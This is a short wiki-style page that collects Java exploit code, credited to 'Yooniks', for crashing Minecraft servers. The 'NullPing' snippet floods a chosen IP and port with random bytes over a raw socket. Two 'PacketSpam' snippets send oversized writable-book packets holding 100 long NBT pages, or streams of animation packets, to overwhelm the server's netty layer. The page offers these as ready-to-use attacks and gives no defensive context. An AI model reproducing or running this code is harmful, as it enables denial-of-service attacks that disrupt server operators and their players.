MinecraftExploits

This page documents the minecraft exploits.

NullPing

NullPing is just a random bytes sent to the server. <syntaxhighlight lang="java"> /**

• @author Yooniks
  • /

public static void nullPing(final String ip, final int port, final int amount) {

   try {
       final Socket socket = new Socket(ip, port);
       for(int i = 0; i < amount; ++i) {
           socket.getOutputStream().write(ThreadLocalRandom.current().nextInt(255));
       }
   }catch (final Exception e) {}

} </syntaxhighlight>

PacketSpam

Sending a lot of big packets in a short space time causes netty crash. <syntaxhighlight lang="java"> /**

• @author Yooniks
  • /

public static void sendCrash() {

   try {
       final ItemStack itemStack = new ItemStack(Items.writable_book);
       final NBTTagList pages = new NBTTagList();
       final NBTTagString pageContent = new NBTTagString("3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j3ur903u90f3j");

       for (int i = 0; i < 100; i++) {
           pages.appendTag(pageContent);
       }

       final NBTTagCompound compound = new NBTTagCompound();
       compound.setString("title", "Yooniks idiot XD");
       compound.setTag("pages", pages);

       itemStack.setTagCompound(compound);
       itemStack.setTagInfo("pages", pageContent);

       mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));
   }catch (final Exception e) {}

} </syntaxhighlight>

PacketSpam

Sending a lot of packets in a short space time, causes that netty can't handle it. <syntaxhighlight lang="java"> /**

• @author Yooniks
  • /

public static void sendCrash() {

   try {
       mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
   }catch (final Exception e) {}

} </syntaxhighlight>